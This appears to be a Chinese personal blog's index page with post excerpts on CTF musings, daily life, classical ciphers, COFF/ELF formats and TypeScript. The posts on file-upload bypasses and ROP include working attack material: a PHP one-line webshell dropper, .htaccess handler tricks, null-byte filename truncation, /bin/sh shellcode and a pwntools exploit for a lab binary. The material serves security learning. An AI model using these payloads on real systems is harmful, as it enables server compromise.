夜间模式暗黑模式
字体
阴影
滤镜
圆角
thumbnail
对CTF中Misc题目的碎碎念
我觉得在大多数人看来,Misc在CTF竞赛中的档次是最低的。感觉就像是题目出得太少然后拿Misc这种意义不明啥都可以出的Category来凑点数。我的结论:确实如此。但是一般的小型CTF赛事,其本身、各个方向的题目都是如此。 如果对CTF相关投资自己的精力,我认为对于未来的发展帮助是微乎及微的。当然这里不包括参加某些赛事拿个奖可以对自己名利上的晋升有一定帮助的情况,虽然我对这些东西也不感兴趣。但是有时候也是不得已的事情,相信你也会懂。另外有一点对CTF前景不太看好的原因是它的商业性质越来越重了,当出题的动力都是源于利益的时候,你就会发现做过的题,都是抄来抄去的考点,尚有的创新就是考点套娃。套娃是最致命的,常常会被认为是“脑洞太大”。出现了脑洞的问题,我觉得CTF竞赛就失去了部分的意义。它本来就是出题人和做题人之间的思维博弈,做不出题无非两个原因,一是知识盲区,二是脑洞太大(或者说出题的突破点没有放置在一个合理的位置)。这个过程中完全就是出题人主导性的,出题的好坏就决定了做题人的体验。 另一方面,如果真要学习CTF的话,最恰当的方式还是边刷题边学习。在这之前首先要学会一些命令行的操作和计科常识,然后通过入门一些简单的题总体规划某个方向的题目它会用怎样的手段来考你。之后对某个方向有了整体的认知之后,就去系统的学习题目的种类,或者说题型更为恰当。打CTF其实和acm,甚至和高考没差。首先有最基本的知识保证自己看得懂题目,然后通过不停的练习找到套路,然后就是实战上考场,最后的高考就可以类比为一些CTF的知名赛事。 对Misc手的一些经验,我看到了最近的题目越来越不向常规的套路走了。所以你真的要纯靠刷题来获得解题经验的话,我觉得不太行。相比之下我觉得web和二进制方面更有系统化的解题思路,不过其他类型也应该差不多。题目老是去出一些常规套路,那对于那些刷题的“书呆子”就很有利。我觉得这样的比赛创新一点是非常不错的,一方面能消除经验带来的隔阂,使得老赛棍能和新手一起有同台竞技的资本。 再刷一点题,我就去看一下其他方向的赛题情况了。我不是专门在一个方向上的所谓xxx手。我是那种“全都要”的人。因为我不觉得诸如比赛,安全云云之类,存在web二进制密码学这样的隔阂。从哲学的层面理解的话,所有事物都会是相通的。 在文章的最后我稍微提供一些干货,主要是我在解Misc题的时候,解题环境方面是怎么样一个情况,给大家一个样例。 我使用的是Windows+WSL的方式。Windows给我提供了很方便的桌面端app的支持,主要是考虑到某些解题软件需要。同时在Win主机上编写代码十分方便,也非常适合我。最为重要的是WSL,WSL提供了Linux环境下的命令行程序支持。拥有了两个平台的程序支持在解题的时候如鱼得水。WSL推荐的DIstribution我推荐Kali,不过WSL提供的镜像包没有原装一些重要的工具,需要使用apt在kali本体安装之后进行安装。不使用虚拟机的原因是,我的硬盘已经被开发环境堆满了……等以后赚钱了一定买一个磁盘容量大一点的PC。而且不是用虚拟机的原因是因为相比较终端直接起用一个shell的便捷方式,我觉得没人会再去等好一会让虚拟机开机。而且更加重要的一点是WSL的目录文件可以在Explorer下很方便的进行查看管理。这点上来看,我更加喜欢使用WSL而不是笨重的虚拟机。 解题工具方面,其实一直刷题,你的工具就会越来越多的。提前装了一大堆工具又有什么用呢,不去按需使用最终造成的结果就是浪费磁盘空间,而且这么多工具你一个不会。 这算是我对Misc的个人小结吧,Web/密码学/二进制的个人小结也是未来可期。对自己要求高一点。文章开头的碎碎念都是我的个人意见,啊如果你对CTF超级狂热,希望你要一直努力,欢迎交流。
thumbnail
如何舒适地度过疫情假期
其实写了这个标题,倒也不是说这篇文章就以列举一些个人的平常为主了,完全不是的!毕竟我非常相信自己文章写着写着就离题的能力,义务教育写作文的时候我就发现了自己这样的“特异能力”了。所以作为读者的你大可放心,读我的文章会非常的顺畅,而且如果能够细细品味的话,还是有很多有趣的地方在里面的。 在这个最长的假期里面,生活日常是什么? 生活日常还是要说的,不然就真的离题了... 但是仔细想了一下也没啥可说的,在平常不过的事情在生活中并不会去刻意记住,都是当做肌肉记忆了。到了一个时间点,就会去做该做的事情,这个就是所谓的习惯。早上就稍微赖一下床。赖床是一定要赖的,不知道是“奇怪的仪式感”,还是“精神无法驱动肉体”,那个时候就是感觉,自己的被窝就是世界上最最最舒服的地方。 总归不能一直这样,起床把该做的事情都做了,基本上就是和自己的笔电过一天的生活。家人也会嫌我经常不动不出去走,身体会变得不健康,我相信你们的爸妈应该也是这样子的(如果对你们很宠的话)。所以我还是有经常到家外面走走,顺便就把单反带上去拍点东西。不过单反不带,其实也没有任何关系,毕竟走出家门不是我主动的。如果我有啥想法和灵光一现的感觉,这个时候就会很情愿地不由自主的走出去看看世界。如果不是疫情的原因,我觉得平常这种时候还是会有小伙伴一起去广场玩玩喝喝唱唱的。 外面的世界还是很不错的,由其是母亲家后山樱花盛开的时候,拍了很多,还兴趣驱动简单做了一个剪辑。无忧无虑的时间很少,赏花的时候自己会心旷神怡一点,平常坐在电脑前面就会焦虑头疼。一方面是有问题难以解决,还有一方面是对学业事业的焦虑。我经常在自己的思想中,一遍又一遍画我这一生的结构和路线图,但结果都是擦掉重画,可以理解为“对前途感到茫然”。这是一种非常奇怪的现象,就跟书读得越多你知道的越少一样。这种具有相对性的缺失感,估计还是因为自己的欲望太强造成的,或者说是“固执的成功主义”吧。我也不确定你们是不是这样的。现在的我感觉有点缺少“灵魂对灵魂的交流”,想事情就感觉有一层无法突破的遮罩挡在大脑皮层外圈,思绪就像从大脑中心无法突破这层遮罩一般在脑子里面乱窜。换一种话来讲,就是感觉自己整个人没有通透的感觉,感觉就是一直被什么东西禁锢。唉,感觉也是很难解释也很难理解的事情。我相信你们一定没听懂嘿嘿,因为我自己也搞不懂。 给这一段做个小结,我的日常就是电脑+出去散步。 有没有做出了什么改变? 没有感觉,没有改变。 很多时候自己想要改变完全就是嘴上说说,心里自我满足一下,然后就全然忘记了。像我这样的年龄的话,也快到了一个人习惯的成型阶段了。习惯成型了以后,就很难再去改变。就像三观成型了以后,以后也很难再改变。在这个方面,我其实比较羡慕自己在义务教育阶段能够有一个比较深刻的哲学知识的摄入。所谓的哲学摄入,就是经常看一点深奥的哲学探讨。我都无法保证现在的我还能再能够理解那些形而上学云云的晦涩词汇,但是学生时代的我确实很容易被这些深奥的东西吸引住。但是建议各位以后,或者以后对自己的孩子可不敢输入这种深奥的知识。因为我的下场就是经常写一些“不堪入目”“乱七八糟”“浮想联翩”的语文作文,然后就被语文老师盯上了,然后高考考了个傻子一样的分数。 很多人认为我的高考就是失利了,我觉得就是我能力欠缺。对于考试的答题规范套路从来没有去注意,不考砸才怪。“标新立异”从来不适用于普通人,因为没有这样的伯乐去欣赏你的标新立异。这样的例子学术圈里不少,即便是娱乐圈也是有很多这样的例子。没有相当的“权势”,就没有相当的“话语权”,除非足够幸运。 所以最佳的选择就是“在沉默中折磨自己”。变成大家所认为的理所当然的样子,得到理所当然的荣誉,理所当然的结束一切,如此简单。 未来未期 可能你会发现,我其实是有一个比较私人的群组的。我的预期是希望能够召集我身边的“鬼才”,来共同地去实现一个目标。这个想法还太过于前期,现在的阶段仍然是我个人能力的提升,未来未期。
thumbnail
一些基本的上传漏洞
文件解析漏洞 解析漏洞主要说的是一些特殊的文件被iis、apache、nginx在某种情况下解释成脚本文件格式的漏洞 IIS 5.x/6.0解析漏洞 IIS 6.0解析利用方法有两种 1、目录解析 /xx.asp/xx.jpg 在网站下建立文件夹名字为.asp、.asa的文件夹,其目录内的任何拓展名的文件都被IIS当做asp文件来解析并执行 2、文件解析 Xx.asp;.jpg 第二种,在IIS 6.0下,分号后面的不被解析,也就是说会被服务器看成是xx.asp IIS 6.0默认的可执行文件除了asp还包含这三种 /xx.asa   /xx.cer   /xx.cdx Apache解析漏洞 apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断 比如xx.php.owf.rar  owf和rar这两种后缀是apache不可识别解析,apache就会把xx.php.owf.rar解析成xx.php 如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个xx.php.rar.jpg.png…… 把你知道的常见后缀都写上去,去测试是否为合法后缀 任意不识别的后缀,逐级向上识别 IIS 7.0/IIS 7.5/Nginx <8.03畸形解析漏洞 nginx解析漏洞由80sec发现 在默认Fast-CGI开启状况下,上传一个名字为xx.jpg,内容为 <?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?> 的文件,然后访问xx.jpg/.php,在这个目录下就会生成一句话木马shell.php www.xxx.com/logo.gif/*.php 触发漏洞 有漏洞会把前面文件当做php执行 截断漏洞 x.asp00%.jpg 第二种解析漏洞 a.aspx.a;.a.aspx.jpg..jpg Nginx <8.03 空字节代码执行漏洞 影响版:0.5./0.6./0.7<=0.7.65/0.8<=0.8.37\ Nginx在图片中嵌入php代码然后通过访问xxx.php%00.jpg来执行代码 htaccess文件解析 如果在apache中.htaccess可被执行,且可被上传,那可以尝试在.htaccess中写入 <FilesMatch "shell.jpg">SetHandler application/x-https-php</FilesMatch> 然后再上传shell.jpg的木马,这样shell就可解析成为php文件 上传检测流程概述 通常一个文件以http协议进行上传时,将以post请求发送至web服务器。web服务器接收到请求后并同意后,用户与web服务器将建立连接,并传输data。 对发送的数据通常进行检测,一种是js本地检测,还有一种是服务器端远程检测 服务器命名规则 第一种类型:上传文件名和服务器命名一致 第二种类型:上传文件名和服务器命名不一致(随机,日期时间命名等) 上传一个文件a.asp,第一种文件名无变动,第二种可能为20xx-xx-xx.asp 常见的上传检测方式 客户端javascript检测(通常是为检测文件拓展名) 服务端mime类型检测(检测content-type内容) 服务端目录路径检测(检测跟path参数相关的内容) 服务端文件拓展名检测(检测跟文件extension相关的内容) 服务端文件内容检测(检测内容是否合法或含有恶意代码) 客户端检测绕过(JavaScript检测) 首先判断js本地验证 通常可以根据它的验证警告弹框的速度可以判断,如果你电脑运行比较快,那么我们就可以用bp抓包,再点击提交的时候bp没有抓到包,就已经弹框那么说明这个就是本地js验证 绕过办法: 1、使用bp抓包改名 2、使用firebug直接删除掉本地验证的js代码 3、添加js验证的白名单如将php的格式添加进去 服务端检测绕过(mime类型检测) mime的作用,使客户端软件,区分不同种类的数据,例如web浏览器就是通过mime类型来判断文件是gif图片,还是可打印的postscript文件。 web服务器使用mime来说明发送数据的种类,web客户端使用mime来说明希望接收到的数据种类 tomcat的安装目录\conf\web.xml 中就定义了大量mime类型,也可以看一下 绕过方法: 直接使用burp抓包,得到post上传数据后,将content-type: text/plain改成 image/gif就可以成功绕过 服务端检测绕过(目录路径检测) 目录路径检测,一般就检测路径是否合法,但稍微特殊一点的都没有防御。比如比较新的 fckeditor php <= 2.6.4 任意文件上传漏洞 当post下面的url的时候 /fckeditor264/filemanager/connectors/php/connector.php?Command=FileUpload&Type=Image&CurrentFolder=fuck.php%00.gif HTTP/1.0 CurrentFolder 这个变量的值会传到ServerMapFolder($resourceType,$folderPath,$sCommand)中的形参$folder里,而$folder在这个函数中并没做任何检测,就被CombinePaths()了 服务端检测绕过(文件拓展名检测) 黑名单检测 黑名单的安全性比白名单的安全性低很多,攻击手法自然也比白名单多。一般有个专门的blacklist文件,里面会包含常见的危险脚本文件,例如fckeditor 2.4.3 或之前版本的黑名单 白名单检测 白名单相对来说比黑名单安全一些,但也不见得就绝对安全 绕过黑名单: 1、文件名大小写绕过 2、名单列表绕过。用黑名单里没有的名单进行攻击,比如黑名单里没有asa或cer之类 3、特殊文件名绕过。比如发送的http包里把文件名改成test.asp. 或者 test.asp_(下划线为空格),这种命名方式在windows系统里是不被允许的,所以需要在burp之类里进行修改,然后绕过验证后,会被windows系统自动去掉后面的点和空格,但要注意Unix/Linux系统没有这个特性 4、0x00截断绕过。上传文件为xx.php%00.jpg 其中%00在repeater中用ctrl+shift+t 5、.htaccess 文件攻击。配合名单列表绕过,上传一个自定义的.htaccess,就可以轻松绕过检测 6、解析调用/漏洞绕过。这类漏洞直接配合上传一个代码注入过的非黑名单文件即可,再利用解析调用/漏洞 绕过白名单: 1、0x00截断绕过 用像test.asp%00.jpg的方式进行截断,属于白名单文件,再利用服务端代码的检测逻辑漏洞进行攻击,目前asp漏洞较多 2、解析调用/漏洞绕过 这类漏洞直接配合上传一个代码注入过的白名单文件即可,再利用解析调用/漏洞.htaccess文件攻击 通过一个.htaccess文件调用php的解析器去解析一个文件名中只要包含"haha"这个字符串的任意文件,所以无论文件名是什么样子,只要包含"haha"这个字符串,都可以被以php的方式来解析,一个自定义的.htaccess文件就可以以各种各样的方式去绕过很多上传验证机制 例如新建一个.htaccess文件,里面内容如下 <FileMatch "haha">SetHandler application/x-httpd-php</FileMatch> 同目录有个我们上传一个只有文件名并包含字符串"haha",但是却无任何扩展名的文件里面的内容是php一句话木马 双文件上传 检测了第一个文件,没有检测第二个 服务端检测绕过(文件内容检测) 如果文件内容检测设置比较严格,那么上传攻击将变得非常困难。也可以说是它在代码层检测的最后一道关卡。如果它被突破了,就算没有代码层的漏洞,也给后面利用应用层的解析漏洞带来了机会。 绕过文件头 修改文件头特征即可 文件加载检测 最变态的检测,一般调用api或函数去进行文件加载测试,最常见的是图像渲染测试,再变态点就是二次渲染。对渲染/加载测试的攻击方式是代码注入绕过,对二次渲染的攻击方式是攻击文件加载其自身。 对渲染/加载测试攻击-代码注入绕过。可以用图像处理软件对一张图片进行代码注入,用winhex看数据可以分析出这类工具的原理是在不破坏文件本身的渲染情况下找一个空白区进行填充代码,一般会是图片的注释区,对于渲染测试基本上都能绕过,毕竟本身的文件结构是完整的。 绕过二次渲染 攻击函数本身 通过上传不完整的图片让其渲染函数暴露,然后攻击 第二种方法:对文件加载器进行溢出攻击
thumbnail
密码编码的一些基本方法
置换密码 置换密码指对明文字符在不改变其原型的基础上,按照密钥的指示规则,对明文字符进行位置移动的密码。置换密码打乱了明文字符之间的跟随关系,使得明文自身具有的结构规律得到破坏。 缺点: 明文字符形态不变 一个密文字符的出现的次数也是该字符在明文中的出现次数 一些方法:倒序置换、矩阵排列置换,给定密钥进行顺序矩阵置换 代替密码 代替密码是利用预先设计的代替规则,对明文逐字符或逐字符组进行代替的密码,代替密码的代替规则就是其秘钥。从广义上讲,由于所有的加密算法都是密文对明文的代替,因而都是代替密码。代替密码可以分为单表代替密码和多表代替密码。 单表代替密码 几种典型的简单代替密码 加法密码 乘法密码 仿射密码 单表代替密码的优点 明文字符得到了隐蔽 单表代替密码的缺点 如果明文字符相同,则密文字符也相同 一个密文字符在密文中出现的频次,就是它对应的明文字符在明文中出现的频次 明文字符之间的跟随关系直接反映在密文中 如果一个明文组能够被多个密文字符组代替,那么密文字符组的统计规律就可能变得更加均匀,从而更加安全,这就是多表代替密码的思想。 多表代替密码 Vigenre密码 首先确定一个由字符组成的密钥,假如为endcat 开始加密明文中的第一个字符,在明文索引方向上找到该字母。同时选取密钥中的第一个字符e,在密钥索引方向上找到该字母。最后通过十字交叉法找到vigenre方阵中的字符,即为加密字符。 同理逐字符加密,如果密钥长度不够则循环处理。 转轮密码机Rotor Machine(Enigma为例) Vernam密码
thumbnail
从零开始的ROP(一)
0x00 Preface 这是Linux x86环境下的ROP哦。忠于个人的习惯,首先分析ROP的全称。ROP全称为Return-oriented Programming(返回导向编程),是一种高级的内存攻击技术。接下来看一下各式各样的ROP攻击方法,参考文章为蒸米前辈的《一步一步学ROP》系列(原来在乌云,现在在跳跳糖)。我尽量加入作为初学者的一些想法来看待这些文章,原则上一些不懂的概念就会去查阅并明确指出。 0x01 Control Flow Hijack Control Flow Hijack的意思就是程序流劫持。当然直译其实是控制流劫持。程序流和控制流如果表达同一种意思的话,可以理解为程序由代码控制而一步步依照代码执行。那么ROP的攻击方法就是要在内存上找到可以攻击的漏洞实现“劫持”的操作。文章中说通过程序流劫持,攻击者可以通过控制PC指针从而执行目标代码。而针对这个攻击手段自然有相应的防御手段,常见的有: DEP 堆栈不可执行ASLR 内存地址随机化Stack Protector 栈保护 作为攻击者一方自然要设计出攻击方法能够绕过上述的种种保护措施。文章中写了针对不同的保护措施提出的不同攻击方法,这里我尽量将攻击手法复现并加入我自己的想法。 漏洞程序 #include <stdio.h> #include <stdlib.h> #include <unistd.h> void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 256); } int main(int argc, char** argv) { vulnerable_function(); write(STDOUT_FILENO, "Hello, World\n", 13); } 编译参数 #bash gcc -fno-stack-protector -z execstack -o level1 level1.c 在shell中执行 sudo -s echo 0 > /proc/sys/kernel/randomize_va_space exit 作用为 -fno-stack-protector 关闭DEP保护-z execstack 关闭Stack Protector保护echo 0 > /proc/sys/kernel/randomize_va_space 关闭整个Linux系统的ASLR保护。 万事俱备!接下来可以看一下源代码的漏洞点,马上就可以发现: read(STDIN_FILENO, buf, 256); 在vulnerable function里面的read函数读取了字符。read函数中第一个参数指定文件流,这里是标准文件输入。第二个与第三个参数想要说明的意思是read函数会把文件流中256个字节数读到buf指针指向的内存空间中,如果成功读入返回读取的字节数,否则返回-1。同时要注意到声明中buf[128]只给定了128个字符的空间。如果说我输入了超过128且小于256个字节的数据的话,超过128个字节的部分会到哪里去呢?我知道的是,这样的溢出情况可以影响到整个程序装载入内存空间的部分,若是能够利用溢出的部分,我们可以实现一些其他的坏坏的功能,我想这是攻击的基本原理。 回到文章,运行程序,输入超过128个字符的数据。这里作者采用了pattern脚本生成了一段字符串数据: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9 很容易发现这串数据是有特点的,规律为三个一组。有规律的字符串可以在后期确定溢出点的精确位置。然后作者的pattern脚本写得挺硬核的,就是一大长串的预设好的字符串,要多长就取多长… talk is cheap,不如使用gdb运行一下程序? gdb ./level1 gdb 很明确的返回给我们了一个内存出错的地址0x37654136,拿到了这个错误的地址我们怎么确定内存溢出点呢? 看这一段 Program received signal SIGSEGV, Segmentation fault. 0x37654136 in ?? () 这段文字想要告诉我们的是,刚才使用的payload(就是那一长串字符)覆盖到了程序的返回地址(就是ret地址)。返回地址长度为四个字节,就是程序返回的0x37654136。这个返回值是可以解析的,原因是上文提到了payload具有一定的规律性。翻了下pattern.py中的源码发现37654136为Ascii码,解析即得6Ae7。而6Ae7是payload中的一段子串,确定其位置就可以确定出偏移量Offset为140。 这时要有一个想法,就是使用payload可以控制程序的返回地址。只要构造一个字符串就可以任意指定返回地址。然后只要在我们指定的返回地址上运行我们自己的坏坏程序就可以达成攻击目的了。 坏坏程序就是shellcode,可以用msf生成,也可以用现成的 https://www.exploit-db.com/exploits/37251 shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc2\xb0\x0b\xcd\x80"; 这一段shellcode的作用是执行execve("/bin/sh")的命令,用于控制目标机的shell。 到这里我们已经有了shellcode和溢出点。接下来的问题就是如何让程序跳转到shellcode的地址上。这里给出一个想法,将shellcode放在buf开头,将要覆盖的地址放在buf的最后。所以,要覆盖的地址就是buf的地址。跳转到buf地址就可以执行保存在buf开头的shellcode。现在的问题就是得到buf的地址啦。为了防止gdb的调试环境使buf内存位置变动,这里采用core dump的方法。 开启core dump功能 ulimit -c unlimited sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern' 开启了这个功能以后,程序出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。然后通过gdb查看这个文件就可以知道buf地址。 0xffec16c0: "BBBB", 'A' <repeats 153 times>, "\n" 从这一行就可以知道buf的地址为0xffec16c0。由此exp得出: #!/usr/bin/env python from pwn import * p = process('./level1') ret = 0xffec16c0 shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc2\xb0\x0b\xcd\x80" payload = flat([shellcode, 'A'*(140 - len(shellcode)), ret]) p.send(payload) p.interactive() 0x02 Ret2libc 试试只打开DEP。 gcc -fno-stack-protector -o level2 level2.c 记得DEP是堆栈不可执行保护,所以level1的方法失效。那么应该到哪里去找shellcode呢。 提出一点,编译源代码的时候链接了libc.so函数库,函数库中有许多可用函数可供使用。如果能构造出来system("/bin/sh")这样的语句话可以实现getshell。同时注意到ASLR保护没开,意味着system函数在内存中的位置没有变化,同样/bin/sh这个字符串应该可以在libc中找到。先来找找看: 发现一件事情,/bin/sh这个字符串找不到(???我做了个假题???)。那应该怎么办,可以由自己来构造吗?答案是肯定的。甚至可以想如果system函数也不可直接得到,也是有方法可以找到其函数地址的。 首先来泄露__libc_start_main的地址,它是程序最初被执行的地方。 sh = process('./level2') level2 = ELF('./level2') putsPlt…
thumbnail
从零开始的ELF分析(一)
什么是ELF?了解一个英文缩写要首先从它的全称开始看起。ELF的英文全称是Executable and Linkable Format(可执行与可链接格式)。扔掉限定词,ELF就是一种格式。 接着,了解计算机科学中的一个概念,还需要了解它的历史渊源。 在1999年的时候,ELF这种格式被x86架构上的类Unix操作系统的二进制文件标准格式。它被用来取代当时的COFF,取代的原因是ELF具备更强的可扩展性和灵活性,能够应用于其他处理器和其他计算机架构的操作系统上。这里的COFF可以猜到是另外一种文件格式。ELF在很大程度上是基于COFF的具体实现的,我们简要介绍一下COFF。 COFF的全称为Common Object File Format(通用对象文件格式),COFF统一了目标文件的格式为混合语言编程带来了极大的方便。这里的目标文件,就是编译器产生的目标文件,常见后缀为.o和.obj。当然COFF的范围远不限于目标文件,包括在内的还有库文件、可执行文件都是COFF的格式。 COFF的文件数据种类共有8种,分别是 文件头(File Header)可选头(Optional Header)段落头(Section Header)段落数据(Section Data)重定位表(Relocation Directives)行号表(Line Numbers)符号表(Symbol Table)字符串表(String Table) 除了其中的段落头可以有多个节(因为可以有多个段落),其他的部分至多只有一个。接下来分别概述每一个数据种类的作用: 文件头:作为COFF文件的文件头,在其中保存有关该文件的基本信息,像文件标识、各个表的位置等。可选头:顾名思义,可有可无的头。通常在目标文件中都没有这一部分,然而在其他如可执行文件中就存在这个部分,通常用来补充说明文件头中缺失的信息。段落头:用来描述段落信息,每一个段落都有一个段落头来说明,段落的数目也会在文件头中指出。段落数据:通常为COFF中最大的数据段,每个段落保存的真正数据就在这个部分,每一个部分的具体区分方法参见段落头给出的信息。重定位表:通常在目标文件中出现,用来描述COFF文件中符号的重定位信息。重定位指的是把程序的逻辑地址空间变换成内存中的实际物理地址空间的过程,它是实现多个程序在内存中同时运行的基础。符号表:保存COFF中所用到的所有符号的信息。符号表在计算机科学中,是一种用于编译器或解释器中的数据结构。程序的源代码中的每个标识符都和它的声明或使用信息绑定在一起。这个表可以帮助我们重定位符号,在调试程序的时候也得以使用。字符串表:用于保存字符串。在早期符号表是以记录的形式来描述符号信息的,但它只为了符号名称留置了8个字符的空间,显然是不够用的。没有办法只能将名称存放在字符串表中,而符号表中只记录这些字符串的位置。 接下来是逐个段落的详细分析 文件头 文件头是从文件的0偏移处开始的,C语言下的结构描述为 typedef struct { unsigned short usMagic; //魔法数字 unsigned short usNumSec; // 段落(Section)数 unsigned long ulTime; //时间戳 unsigned long ulSymbolOffset; // 符号表偏移 unsigned long ulNumSymbol; // 符号数 unsigned short usOptHdrSZ; // 可选头长度 unsigned short usFlags; // 文件标记 } FILEHDR; usMagic成员是一个魔法数字,可以认定为是一个平台标识,在不同的平台上具有不同的魔法数字,例如在i386平台上,魔法数字为0x014c。usNumSec用来描述段落的数量。ulTime是一个时间戳,它用来描述COFF时间的建立时间。当COFF文件为一个可执行文件时,这个时间戳经常用来当做一个加密比对的标识。ulSymbolOffset表示符号表在文件中的偏移量,是一个绝对偏移量,从文件头开始计数。在COFF中的其他偏移量都是类似的绝对偏移量。ulNumSymbol成员给出了符号表中符号记录的数量。ulOptHdrSZ是可选头的长度,通常为0。其中通过这个成员可以读出可选头的不同长度,不同长度对应了不同可选头的类型,便于进行针对处理。usFlag是COFF的属性标记,标识了COFF文件的类型,文件中所保存的数据等等信息。具体如图 Flag bits 可选头 可选头接在文件头后面,从COFF文件的0x0014偏移处开始。不同长度的可选头结构也不同,标准的可选头长度为24或28字节(28居多)。以28字节为例的头结构如下: typedef struct { unsigned short usMagic; // 魔法数字 unsigned short usVersion; // 版本标识 unsigned long ulTextSize; // 正文(text)段大小 unsigned long ulInitDataSZ; // 已初始化数据段大小 unsigned long ulUninitDataSZ; // 未初始化数据段大小 unsigned long ulEntry; //入口点 unsigned long ulTextBase; // 正文段基址 unsigned long ulDataBase; //数据段基址(在PE32中才有) } OPTHDR; usMagic这时应该是0x010b或0x0107。0x010b表示COFF文件是一个一般的可执行文件。0x0107表示COFF文件是一个ROM镜像文件。usVersion标识COFF文件的版本。ulTextSize表示可执行COFF的正文段长度ulEntry是程序的入口点,也就是COFF文件载入内存时正文段的位置(EIP寄存器的值)。当COFF文件是一个动态库时,入口点就是动态库的入口函数。 段落头 必不可少的节(同样还有文件头)。段落头在可选段的后面(如果可选头的长度为0,即紧跟在文件头后)。长度为40个字节,如下: typedef struct { char cName[8]; // 段名 unsigned long ulVSize; // 虚拟大小 unsigned long ulVAddr; //虚拟地址 unsigned long ulSize; // 段长度 unsigned long ulSecOffset; // 段数据偏移 unsigned long ulRelOffset; // 段重定位表偏移 unsigned long ulLNOffset; // 行号表偏移 unsigned short usNumRel; // 重定位表长度 unsigned short usNumLN; // 行号表长度 unsigned long ulFlags; // 段标识 } SECHDR; cName用来保存段名,常见有.text(正文段、代码段),.data(数据段,保存初始化过的数据),.bss(保存未初始化的数据),.comment(COFF文件的注释信息)。ulVSize是段数据载入内存时的大小。只在可执行文件中有效,在目标文件中为0。如果长度大于段的实际长度,多余部分用0补齐。ulVAddr是段数据载入或链接时的虚拟地址。对于可执行文件来说是相对于文件地址空间而言的段中数据的第一个字节的位置。对于目标文件而言,是重定位时段数据当前位置的一个偏移量,因计算简化通常设为0。ulSize段数据的实际长度。ulSecOffset指的是段数据在COFF文件中的偏移量。ulRelOffset指的是该段的重定位信息的偏移量,指向了重定位表的一个记录。ulNOffset指的是段的行号表的偏移量,指向行号表中的一个记录。usNumRel是重定位信息的记录数。从ulRelOffset指向的记录开始,到第ulNumRel个记录开始都是该段的重定位信息。ulFlags是该段的属性标识,具体值如下图: Flag bits 段落数据 段落数据是保存各个段的数据的位置。在目标文件中,这些数据都是原始数据(Raw Data)。不同类型的段,数据的内容、结构都不相同。 重定位表 重定位表保存的是各个段的重定位信息。可以把整个重定位表看成多个重定位表,每个段落都有一个自己的重定位表,这个表只在目标文件中有,可执行文件不存在这个表。重定位表中每一条记录就是一条重定位信息,如下:…
thumbnail
主题迁移&一些想说的话
为什么更换了主题呢? 现在的主题是原主题Sakura的先前版本。一开始确实被Sakura的主题表现吸引到了,但是在之后的使用中发现了很多问题(Plugin冲突,js源加载缓慢等)。这也是意料之中的,在Sakura的最新版本中作者也很大程度上修复了一些问题,但是对于我来说,我已经在其旧版本上修改了很多源代码,所以以直接覆盖主题文件的方式来更新主题是一件很不明智的事情,而且我也没有debug的耐心了。 既然原主题是由本主题衍生而来,就证明了现在的主题具有更好的拓展性和容错率。这很大程度上是我将主题迁移至此的原因。 似乎很久没有更新博客了? 可以理解为“三分钟热度”吧。 确实一开始搭建博客的欲望非常强烈,但是随着时间的推移和认识到自己知识和技能的不足,似乎没有东西可以用来展现于此的。 当然,这个小站一开始也不是全栈的技术博客。初衷本是Endcat的所有相关,包括理性思考和感性探究。 所以在长达将近两个月的afk之中,我也还是始终没有确定一个明确的方向,去专精于哪个方向或者哪个领域。所以尝试了很多东西。从一开始前端开发,从html/css学到jQuery的Dom操作和vuejs双向绑定的妙用,知道啦前端的开发流程是怎么样的。后来我又开始对算法感兴趣,从基础的数据结构,到简单的knn,以及明白了简单的机器学习的实现流程,拿着anaconda照着example塞点一堆数据,还有奇奇怪怪的图片,然后拿到一个莫名其妙没啥用处的训练好的小傻瓜。后来我可总算想到了自己的本业是做二进制安全的,然而连基本的8086内存分配机制没有学习过,跑去搞web安全。搞个虚拟机git clone,然后拿着工具扫描直怼,传点一句话木马getshell,装遍了一堆cms了解了目录的分布,数据库information_schema, union, select, group_concat在脑子里乱转……后来我也记不清干了点什么事情。 到现在我也还是迷迷糊糊的状态,而且自己也知道现在的情况很糟糕。人没有明确目标就没有一个确定的动力来源。不过对于我来说,好像身边的一切都可以来吸引我的注意。也许是我不够专注,但专注和发散之间孰优孰劣,又有谁知道呢。人生就是这般的复杂。 接下来干点什么呢? 遵循本性,在朦胧之中生活一段时间吧,总会走出来的。 消极的心灵从来都不会有所作为啊。 我可能会在不久的将来开始一些计划 SmartTools 安全人员及CTF竞赛的工具箱开发计划 Celestial 奇特风格的WordPress主题计划 Kokoro 一本Endcat的随心随笔向杂记风小说 其他再说 对于开发会更加注重在用户界面的设计交互上,小说已经在一章一章的写了,个人打算把它当做闲趣时候打发时间的一种方式,会发布在Gitbook上。 我不保证产品的一定出现,但是如果对我的妄想有一点感兴趣的地方,欢迎联系我来共同合作。原则上我计划一个人在几年之内完成这些东西,或许会有更多的东西…… 结语以及想说的话 一个人极力想要炫耀的东西,往往是她最缺少的东西。 并不是针对某人所说,只是与同好者共勉。 Peace.
thumbnail
TypeScript的Module小应用
今天我们来写一个非常简单的网页时钟。 TypeScript部分 module Time{     export class Test{         element:HTMLElement;         span:HTMLElement;         timer:number;         constructor(e:HTMLElement){             this.element = e;             this.element.innerHTML = "现在时间是:";             this.span = document.createElement("span");             this.element.appendChild(this.span);             this.span.innerHTML = new Date().toTimeString();         }         start(){             this.timer = setInterval(()=>this.span.innerHTML = new Date().toTimeString(),500);         }         stop(){             clearInterval(this.timer);         }     } }   其实也可以对比一下编译后的JavaScript文件。 var Time; (function (Time) { var Test = /** @class */ (function () { function Test(e) { this.element = e; this.element.innerHTML = "现在时间是:"; this.span = document.createElement("span"); 